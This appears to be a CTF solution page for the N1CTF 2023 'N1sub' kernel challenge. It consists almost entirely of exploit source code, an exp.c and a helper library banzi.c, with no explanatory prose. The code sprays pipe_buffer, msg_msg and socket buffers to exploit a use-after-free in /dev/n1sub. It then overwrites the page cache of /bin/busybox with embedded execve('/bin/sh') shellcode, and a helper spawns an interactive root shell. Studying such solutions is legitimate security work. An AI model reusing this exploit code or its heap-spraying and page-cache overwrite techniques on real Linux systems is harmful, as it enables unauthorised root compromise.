目录

n1ctf-2023-N1sub

exp.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
#include "banzi.h"
#include <sys/prctl.h>
int fd = -1;
//
int add(char *buf){
    uint64_t arg[1] = {buf};
    ioctl(fd,0xDEADBEE0,buf);
}

int del(int idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,0xDEADBEE1,idx);
}
int edit(int idx){
    uint64_t arg[1] = {idx};
    ioctl(fd,0xDEADBEE2,idx);
}

int init(){
    set_cpu_affinity(0,0);
    init_namespace();
}

int change_pipe_size(int idx,int count){
    if(fcntl(pipes[idx][1],F_SETPIPE_SZ,0x1000*count) < 0){
        perror("fcntl");
        return -1;
    }
}
// int get_msg_idx(int idx,int size,char c){
//     char *buf = calloc(1,0x1000);
//     show_msg(msgqid[idx],buf,size,msgbuf.mtype);
//     hexdump(buf,0x100);
//     for(int i = 0;i < size;i++){
//         if(buf[i] != c){
//             logd("%x != %x",buf[i],c);
//             logi("get msg_idx: %d",msgbuf.mtype);
//             return msgbuf.mtype;
//         }
//     }

// }
// kmalloc-8k            12     12   8192    4    8 : tunables    0    0    0 : slabdata      3      3      0
// kmalloc-4k            48     48   4096    8    8 : tunables    0    0    0 : slabdata      6      6      0
// kmalloc-2k           160    160   2048   16    8 : tunables    0    0    0 : slabdata     10     10      0
// kmalloc-1k           336    336   1024   16    4 : tunables    0    0    0 : slabdata     21     21      0
// kmalloc-512          336    336    512   16    2 : tunables    0    0    0 : slabdata     21     21      0
// kmalloc-256          464    464    256   16    1 : tunables    0    0    0 : slabdata     29     29      0
// kmalloc-192          294    294    192   21    1 : tunables    0    0    0 : slabdata     14     14      0
// kmalloc-128          384    384    128   32    1 : tunables    0    0    0 : slabdata     12     12      0
// kmalloc-96           462    462     96   42    1 : tunables    0    0    0 : slabdata     11     11      0
// kmalloc-64          1088   1088     64   64    1 : tunables    0    0    0 : slabdata     17     17      0
// kmalloc-32          1273   1280     32  128    1 : tunables    0    0    0 : slabdata     10     10      0
// kmalloc-16          1024   1024     16  256    1 : tunables    0    0    0 : slabdata      4      4      0
// kmalloc-8           1536   1536      8  512    1 : tunables    0    0    0 : slabdata      3      3      0
// kmem_cache_node      192    192     64   64    1 : tunables    0    0    0 : slabdata      3      3      0
// kmem_cache           160    160    256   16    1 : tunables    0    0    0 : slabdata     10     10      0
const char attack_data[] = {106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5};

int exp(){
    init();
    fd = open("/dev/n1sub",1);
    if(fd < 0){
        perror("open");
        return -1;
    }
    logi("open successfully");
    char *buf = calloc(1,0x4000);
    memset(buf,'a',0x1000);
    for(int i = 0;i < 0x100;i++){
        alloc_pipe_buff(i);
        memset(buf,'x',0x100);
        if(i >= 0x10){
            if(write(pipes[i][1],buf,0x100) < 0){
                perror("write");
                return -1;
            }
        }
    }
    build_msg(0x100);
    uint64_t *data = buf;
    size_t kmalloc_size = 0;
    memset(buf,'\x00',0x1000);
    add(buf);
    size_t offset = data[0];
    logd("offset: %d",offset);
    int failes = -1;
    if(offset % 10 == 0){
        failes = 0;
    }
    if(failes != 0){
        close(fd);
        fd = -1;
        loge("offset error");
        return -1;
    }
    del(0);
    memset(buf,'\x61',0x1000);
    alloc_skb_buff(0,buf,512);
    edit(0);
    show_skb_buff(0,buf,512);
    if(*(buf + offset) == '\x60'){
        kmalloc_size = 512;
        logi("get_size: kmalloc-cg-%d",kmalloc_size);
    }

    memset(buf,'\x62',0x1000);
    alloc_skb_buff(1,buf,1024);
    edit(0);
    show_skb_buff(1,buf,1024);
    if(*(buf + offset) == '\x61'){
        kmalloc_size = 1024;
        logi("get_size: kmalloc-cg-%d",kmalloc_size);
    }

    memset(buf,'\x63',0x1000);
    alloc_skb_buff(2,buf,2048);
    edit(0);
    show_skb_buff(2,buf,2048);
    if(*(buf + offset) == '\x62'){
        kmalloc_size = 2048;
        logi("get_size: kmalloc-cg-%d",kmalloc_size);
    }
    if(kmalloc_size == 0){
        logw("Try again");
        return -1;
    }
    logi("spray kmalloc-%d pipe_buffer",kmalloc_size);
    for(int i = 0;i < 5;i++){
        if(fcntl(pipes[i][1], F_SETPIPE_SZ, 0x1000 * (kmalloc_size/0x40)) < 0) {
            printf("[x] failed to extend %d pipe!\n", i);
            return -1;
        }
    }
    for(int i = 0;i < offset/0x28;i++){
        memset(buf,'a' + i,0x1000);
        write(pipes[0][1],buf,4096);
    }
    memset(buf,'M',0x1000);
    write(pipes[1][1],buf,0x200);
    memset(buf,'a',0x1000);
    write(pipes[0][1],buf,0x100);

    for(int i = 0;i < offset/0x28;i++){
        memset(buf,'\x00',0x1000);
        read(pipes[0][0],buf,4096);
    }
    int uaf_get_flags = 0;
    for(int j = 0;j < 0x20;j++){
        for(int i = 0;i < 0x40;i++){
            edit(0);
        }
        read(pipes[0][0],buf,0x10);
        data = buf;
        if(data[0] = 0x4d4d4d4d4d4d4d4d){
            hexdump(buf,0x10);
            uaf_get_flags = 1;
            break;
        }
    }
    if(uaf_get_flags != 1){
        loge("NONONONO");
        return -1;
    }
    memset(buf,'X',0x1000);
    write(pipes[0][1],buf,0x100);
    logi("free page");
    release_pipe_buff(1);
    logi("spray msgmsg allocate free page");
    for(int i = 0;i < 0x10;i++){
        msgbuf.mtype = 1;
        memset(msgbuf.mtext,'\x61' + i,sizeof(msgbuf.mtext));
        add_msg(msgqid[i],&msgbuf,0x100-0x30);
    }
    for(int i = 0;i < 0x10;i++){
        msgbuf.mtype = 2;
        memset(msgbuf.mtext, '\x61' + i, sizeof(msgbuf.mtext));
        add_msg(msgqid[i],&msgbuf,0x400-0x30);
    }
    memset(buf,'\x00',0x1000);
    read(pipes[0][0],buf,0x120);
    hexdump(buf,0x120);
    uint64_t heap_addr = *(uint64_t*)(buf + 0xf0);
    uint64_t next_addr = *(uint64_t*)(buf + 0x118);
    logi("kmalloc-512: heap_addr: 0x%llx",heap_addr);
    uint64_t heap_addr1 = *(uint64_t*)(buf + 0xf8);
    size_t tmp_idx = *(uint8_t*)(buf + 0x20) - 0x61;
    logi("tmp_idx: 0x%llx",tmp_idx);
    memset(buf,'N',0x1000);
    uint64_t heap_base = (heap_addr & 0xfffffffff0000000) + 0x1d000000;
    logi("heap_base:0x%llx",heap_base);
    int off = 0;
    while(!(heap_addr >> (32 - off*8) & 2)) ++off;
    uint64_t tmp_heap_addr = heap_base + 0x04fa68 + off + 0x8;
    *(uint64_t*)buf = heap_addr; //rdx
    *(uint64_t*)(buf+8*1) = heap_addr1;//rax
    *(uint64_t*)(buf+8*2) = 0x1;
    *(uint64_t*)(buf+8*3) = 0x100-0x30;
    *(uint64_t*)(buf+8*4) = NULL;
    *(uint64_t*)(buf+8*5) = 0x1234;
    write(pipes[0][1],buf,0x10);
    free_msg(msgqid[tmp_idx + 2],buf,0x400-0x30,0x2);
    for(int i = 0;i < 0x10;i++){
        *(uint64_t*)buf = heap_addr; //rdx
        *(uint64_t*)(buf+8*1) = heap_addr1;//rax
        *(uint64_t*)(buf+8*2) = 0x2;
        *(uint64_t*)(buf+8*3) = 0x400-0x30;
        *(uint64_t*)(buf+8*4) = NULL;
        *(uint64_t*)(buf+8*5) = next_addr;
        alloc_skb_buff(i,buf,0x400);
    }
    free_msg(msgqid[tmp_idx + 2],buf,0x400-0x30,0x2);
    for(int i =0;i < 0x10;i++){
        alloc_pipe_buff(0x66 + i);
        write(pipes[0x66 + i][1],buf,0x100);
    }
    int attack_fd = open("/bin/busybox",O_RDONLY);
    if(attack_fd < 0){
        perror("open");
        _exit(0);
    }
    loff_t offset1 = 0x1EA4A5;
    memset(buf,0x1000,'\x00');
    for(int i = 0;i < 0x10;i++){
        write(pipes[0x66 + i][1],buf,0x1000);
        splice(attack_fd,&offset1,pipes[0x66 + i][1], NULL, 1, 0);
    }
    for(int i = 0xf;i > 0;i--){
        show_skb_buff(i,buf,0x400);
        data = buf;
        if(is_kernel_pointer(data[2])){
            break;
        }
        hexdump(buf,0x10);
    }
    hexdump(buf,0x100);
    for(int i = 0;i < 0x10;i++){
        data = buf;
        data[13] = 0x10;
        alloc_skb_buff(0x66 + i,buf,0x400);
    }
    for(int i = 0;i < 0x10;i++){
        if (write(pipes[0x66 + i][1],attack_data,sizeof(attack_data)) < 0) {
            perror("[-] write");
            return -1;
        }
    }
    


    // __pause("debug");
    
}

int main(){
    int pid = fork();
    if(pid == 0){
        exp();
        return 0;
    }
    else{
        int wstatus;
        wait(wstatus);
        if (WIFEXITED(wstatus) && !WEXITSTATUS(wstatus)) {
            return 0;
        }
        
    }
}

banzi.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
#include "banzi.h"

void init_namespace(void) {
    int fd;
    char buff[0x100];

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) {
        die("unshare(CLONE_NEWUSER | CLONE_NEWNS): %m");
    }

    if (unshare(CLONE_NEWNET)) {
        die("unshare(CLONE_NEWNET): %m");
    }

    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", uid);
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", gid);
    write(fd, buff, strlen(buff));
    close(fd);
}

void set_cpu_affinity(int cpu_n, pid_t pid) {
    cpu_set_t set;

    CPU_ZERO(&set);
    CPU_SET(cpu_n, &set);

    if (sched_setaffinity(pid, sizeof(set), &set) < 0) {
        die("sched_setaffinity: %m");
    }
}

void packet_socket_rx_ring_init(int s, unsigned int block_size,
                                unsigned int frame_size, unsigned int block_nr,
                                unsigned int sizeof_priv, unsigned int timeout) {
    int v = TPACKET_V3;
    int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
    if (rv < 0) {
        die("setsockopt(PACKET_VERSION): %m");
    }

    struct tpacket_req3 req;
    memset(&req, 0, sizeof(req));
    req.tp_block_size = block_size;
    req.tp_frame_size = frame_size;
    req.tp_block_nr = block_nr;
    req.tp_frame_nr = (block_size * block_nr) / frame_size;
    req.tp_retire_blk_tov = timeout;
    req.tp_sizeof_priv = sizeof_priv;
    req.tp_feature_req_word = 0;

    rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
    if (rv < 0) {
        die("setsockopt(PACKET_RX_RING): %m");
    }
}

int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
                        unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
    int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (s < 0) {
        die("socket(AF_PACKET): %m");
    }

    packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
                               sizeof_priv, timeout);

    struct sockaddr_ll sa;
    memset(&sa, 0, sizeof(sa));
    sa.sll_family = PF_PACKET;
    sa.sll_protocol = htons(ETH_P_ALL);
    sa.sll_ifindex = if_nametoindex("lo");
    sa.sll_hatype = 0;
    sa.sll_pkttype = 0;
    sa.sll_halen = 0;

    int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
    if (rv < 0) {
        die("bind(AF_PACKET): %m");
    }

    return s;
}

int pagealloc_pad(int size, int count) {
    return packet_socket_setup(size, 2048, count, 0, 100);
}

pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
int add_msg(int msqid, const void *msgp, size_t msgsz) {
	if (msgsnd(msqid, msgp, msgsz, 0) < 0) {
		perror("[-] msgsnd");
    	return -1;
    }
    return 0;
}
void alloc_shm(int i) {
    shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);

    if (shmid[i] < 0) {
        perror("[X] shmget fail");
        exit(1);
    }

    shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);

    if (shmaddr[i] < 0) {
        perror("[X] shmat");
        exit(1);
    }
}
// int show_msg(int msqid, void *msgp,size_t msgsz,int idx) {
//     if (msgrcv(msqid, msgp, msgsz, idx, MSG_COPY | IPC_NOWAIT) < 0) {
//         perror("[-] msgrcv");
//         return -1;
//     }
//     return 0;
// }

int free_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    if (msgrcv(msqid, msgp, msgsz, msgtyp, 0) < 0) {
        perror("[-] msgrcv");
        return -1;
    }
    return 0;
}
int msg_get(){
    int pid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if(pid < 0){
        perror("msgget");
        return -1;
    }
    return pid;
}
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
                   uint64_t m_list_prev, uint64_t m_type,uint64_t m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = m_type;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}
void build_msg(int num){
	for(int i = 0;i < num;i++){
		msgqid[i] = msg_get();
	}
}
int spray_sendmsg(char *buf,int size,int count){
    // char buf[size];
    struct msghdr msgh = {0};
    struct sockaddr_in addr = {0};
    int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(6666);
 
    // filled with 0x61 'a'
    // memset(buf,'\x00',sizeof(buf));
    // *(uint64_t*)(buf + 8*2) = 0xfff0;
    // *(uint64_t*)(buf + 8*3) = 0xdeadbeef;
    // set user space buf(msg header)
    msgh.msg_control = buf;
    msgh.msg_controllen = size;
    msgh.msg_name = (caddr_t)&addr;
    msgh.msg_namelen = sizeof(addr);
    for(int i = 0;i < count;i++){
      sendmsg(sockfd, &msgh, 0);
    }
}
void registerUserfault(void *fault_page,void *handler)
{
   pthread_t thr;
   struct uffdio_api ua;
   struct uffdio_register ur;
   uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   ua.api = UFFD_API;
   ua.features    = 0;
   if (ioctl(uffd, UFFDIO_API, &ua) == -1)
      errExit("[-] ioctl-UFFDIO_API");
 
   ur.range.start = (unsigned long)fault_page;
   ur.range.len   = PAGE_SIZE;
   ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
   if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
      errExit("[-] ioctl-UFFDIO_REGISTER");
   int s = pthread_create(&thr, NULL,handler, (void*)uffd);
   if (s!=0)
      errExit("[-] pthread_create");
}
void errExit(char *msg) {
   puts(msg);
   _exit(-1);
}
// int alloc_pages_via_sock(uint32_t size, uint32_t n)
// {
//     struct tpacket_req req;
//     int32_t socketfd, version;

//     socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
//     if (socketfd < 0)
//     {
//         perror("bad socket");
//         exit(-1);
//     }

//     version = TPACKET_V1;

//     if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0)
//     {
//         perror("setsockopt PACKET_VERSION failed");
//         exit(-1);
//     }

//     assert(size % 4096 == 0);

//     memset(&req, 0, sizeof(req));

//     req.tp_block_size = size;
//     req.tp_block_nr = n;
//     req.tp_frame_size = 4096;
//     req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

//     if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0)
//     {
//         perror("setsockopt PACKET_TX_RING failed");
//         exit(-1);
//     }

//     return socketfd;
// }

// void spray_comm_handler()
// {
//     ipc_req_t req;
//     int32_t result;

//     do {
//         read(sprayfd_child[0], &req, sizeof(req));
//         assert(req.idx < INITIAL_PAGE_SPRAY);
//         if (req.cmd == ALLOC_PAGE)
//         {
//             socketfds[req.idx] = alloc_pages_via_sock(4096, req.n);
//             printf("%llx\n",socketfds[0]);
//         }
//         else if (req.cmd == FREE_PAGE)
//         {
//             close(socketfds[req.idx]);
//         }
//         result = req.idx;
//         write(sprayfd_parent[1], &result, sizeof(result));
//     } while(req.cmd != EXIT_SPRAY);

// }

// void send_spray_cmd(enum spray_cmd cmd, int idx,int n)
// {
//     ipc_req_t req;
//     int32_t result;

//     req.cmd = cmd;
//     req.idx = idx;
//     req.n = n;
//     write(sprayfd_child[1], &req, sizeof(req));
//     read(sprayfd_parent[0], &result, sizeof(result));
//     assert(result == idx);
// }
// void unshare_setup(uid_t uid, gid_t gid)
// {
//     int temp;
//     char edit[0x100];
//     unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);
//     temp = open("/proc/self/setgroups", O_WRONLY);
//     write(temp, "deny", strlen("deny"));
//     close(temp);
//     temp = open("/proc/self/uid_map", O_WRONLY);
//     snprintf(edit, sizeof(edit), "0 %d 1", uid);
//     write(temp, edit, strlen(edit));
//     close(temp);
//     temp = open("/proc/self/gid_map", O_WRONLY);
//     snprintf(edit, sizeof(edit), "0 %d 1", gid);
//     write(temp, edit, strlen(edit));
//     close(temp);
//     return;
// }
void win(void)
{
    if (check_root())
    {
        puts("[+] We are Ro0ot!");
        char *args[] = { "/bin/bash", "-i", NULL };
        execve(args[0], args, NULL);
    }
}
bool is_kernel_pointer(uint64_t addr)
{
    return ((addr & KERNEL_MASK) == KERNEL_MASK) ? true : false;
}


bool is_heap_pointer(uint64_t addr)
{
    return (((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr)) ? true : false;
}


void __pause(char *msg)
{
    printf("[-] Paused - %s\n", msg);
    getchar();
}


// void save_state()
// {
//     __asm__ __volatile__(
//         "movq %0, cs;"
//         "movq %1, ss;"
//         "pushfq;"
//         "popq %2;"
//         : "=r" (usr_cs), "=r" (usr_ss), "=r" (usr_rflags) : : "memory" );
// }


int randint(int min, int max)
{
    return min + (rand() % (max - min));
}


void assign_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0)
    {
        perror("[X] sched_setaffinity()");
        exit(1);
    }
}

void hexdump(unsigned char *buff, size_t size) {
    int i, j;

    for (i = 0; i < size / 8; i++) {
        if ((i % 2) == 0) {
            if (i != 0) printf("  \n");

            printf("  %04x  ", i * 8);
        }

        printf("0x%016lx", ((uint64_t *)(buff))[i]);
        printf("    ");
    }

    putchar('\n');
}

void assign_thread_to_core(int core_id)
{
    cpu_set_t mask;

    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);

    if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0)
    {
        perror("[X] assign_thread_to_core_range()");
        exit(1);
    }
}


void init_fd(int i)
{
    fds[i] = open("/etc/passwd", O_RDONLY);

    if (fds[i] < 1)
    {
        perror("[X] init_fd()");
        exit(1);
    }
}


void *alloc_poll_list(void *args)
{
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id    = ((struct t_args *)args)->id;
    nfds  = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));

    for (int i = 0; i < nfds; i++)
    {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    assign_thread_to_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    debug("[Thread %d] Start polling...\n", id);
    int ret = poll(pfds, nfds, timer);
    debug("[Thread %d] Polling complete: %d!\n", id, ret);
    
    assign_thread_to_core(randint(1, 3));

    if (suspend)
    {   
        debug("[Thread %d] Suspending thread...\n", id);

        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) { };
    }
        
}


void create_poll_thread(int id, size_t size, int timer, bool suspend)
{
    struct t_args *args;

    args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE)
        size = size - ((size/PAGE_SIZE) * sizeof(struct poll_list));

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}


void join_poll_threads(void)
{
    for (int i = 0; i < poll_threads; i++)
    {
        pthread_join(poll_tid[i], NULL);
        // open("/proc/self/stat", O_RDONLY);
    }
        
    poll_threads = 0;
}


// int alloc_key(int id, char *buff, size_t size)
// {
// 	char desc[256] = { 0 };
//     char *payload;
//     int key;

//     size -= sizeof(struct user_key_payload);

//     sprintf(desc, "payload_%d", id);

//     payload = buff ? buff : calloc(1, size);

//     if (!buff)
//         memset(payload, id, size);    

//     key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);

//     if (key < 0)
// 	{
// 		perror("[X] add_key()");
// 		return -1;
// 	}
    	
//     return key;
// }


// void free_key(int i)
// {
//     if(!keys[i]) puts("Invalid keys[i]");
	
//     if(keyctl_revoke(keys[i]) < 0 || keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING) < 0){
//         printf("keys[%d]\n ",i);
//         perror("=> ");
//         // printf("%d\n")
//         return -1;
//     }
	
//     // n_keys--;
// }
// void revoke_key(int i)
// {
//     if(!keys[i]) puts("Invalid keys[i]");
// 	if(keyctl(KEYCTL_REVOKE, keys[i], 0, 0, 0) < 0){
//         printf("keys[%d] ",i);
//         perror("=> ");
//         return -1;
//     }
// 	// keyctl_unlink(keys[i], KEY_SPEC_PROCESS_KEYRING);
//     // n_keys--;
// }


// void free_all_keys(bool skip_corrupted_key)
// {
//     for (int i = 0; i < n_keys; i++)
//     {   
//         if (skip_corrupted_key && i == corrupted_key)
//             continue;

//         free_key(i);
//     }

//     sleep(1); // GC keys
// }


// char *get_key(int i, size_t size)
// {
// 	char *data;

// 	data = calloc(1, size);
// 	keyctl_read(keys[i], data, size);
//     // printf("%s\n",data);
// 	return data;
// }


void alloc_pipe_buff(int i)
{

    if (pipe(pipes[i]) < 0)
    {
        perror("[X] alloc_pipe_buff()");
        return;
    }
}


void release_pipe_buff(int i)
{
    if (close(pipes[i][0]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }

    if (close(pipes[i][1]) < 0)
    {
        perror("[X] release_pipe_buff()");
        return;
    }
}


void alloc_tty(int i)
{
    ptmx[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

    if (ptmx[i] < 0)
    {
        perror("[X] alloc_tty()");
        exit(1);
    }
}


void free_tty(int i)
{
    close(ptmx[i]);
}


void alloc_seq_ops(int i)
{
    seq_ops[i] = open("/proc/self/stat", O_RDONLY);

    if (seq_ops[i] < 0)
    {
        perror("[X] spray_seq_ops()");
        exit(1);
    }
}


void free_seq_ops(int i)
{
    close(seq_ops[i]);
}


// int leak_kernel_pointer(int kid)
// {
//     uint64_t *leak;
//     char *key;

//     key = get_key(kid, 0xfff0);
//     leak = (uint64_t *)key;

//     // if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0x520)
//     // {
//     //     // corrupted_key = i;
//     //     // proc_single_show = *leak;
//     //     // kernel_base = proc_single_show - 0xffffffff813275c0;

//     //     // printf("[+] Corrupted key found: keys[%d]!\n", corrupted_key);
//     //     // printf("[+] Leaked proc_single_show address: 0x%llx\n", proc_single_show);
//     //     // printf("[+] Kernel base address: 0x%llx\n", kernel_base + 0xffffffff00000000);
//     //     kernel_base = 
        
//     //     return 0;
//     // }
//     for (int i = 0; i < 0xfff0/sizeof(uint64_t); i++)
//     {
//         // if(is_heap_pointer(leak[i])){
//         //     printf("heap_%d ==> 0x%llx\n",i,leak[i]);
//         // }
//         if (is_kernel_pointer(leak[i]) && (leak[i] & 0xfff) == 0xec0)
//         {   
//             logd("get kernel_base: 0x%llx",leak[i]);
//             uint64_t kernel_base1 = leak[i] - 0x1246ec0;
//             logi("get kernel_base: 0x%llx",kernel_base1);
//             return kernel_base1,i;
//         }
//     }

//     return -1;
// }

// int leak_heap_pointer(int kid)
// {
//     uint64_t *leak;
//     char *key;

//     key = get_key(kid, 0xfff0);
//     // hexdump(key,0x100);
//     leak = (uint64_t *)key;

//     for (int i = 0; i < 0xfff0/sizeof(uint64_t); i++)
//     {
//         // if(is_heap_pointer(leak[i])){
//         //     printf("heap_%d ==> 0x%llx\n",i,leak[i]);
//         // }
//         if (is_heap_pointer(leak[i]) && is_heap_pointer(leak[i + 1]) && is_heap_pointer(leak[i + 2]))
//         {   
//             target_object = leak[i] - (i + 1) * 0x8 - 0x10;
//             logi("key_spray_heap_addr: %llx",target_object);
//             return target_object;
//         }
//     }

//     return -1;
// }


bool check_root()
{
	int fd;
    
    if ((fd = open("/etc/shadow", O_RDONLY)) < 0)
        return false;
        
    close(fd);
    
    return true;
}

int alloc_skb_buff(int i,char *buff,size_t size){
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
        perror("[-] socketpair");
        return -1;
    }
    if (write(ss[i][0], buff, size-0x140) < 0) {
        perror("[-] write");
        return -1;
    }

}

int show_skb_buff(int i,char *buff,size_t size) {
    if (read(ss[i][1], buff, size-0x140) < 0) {
        perror("[-] read");
        return -1;
    }
}

banzi.h

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
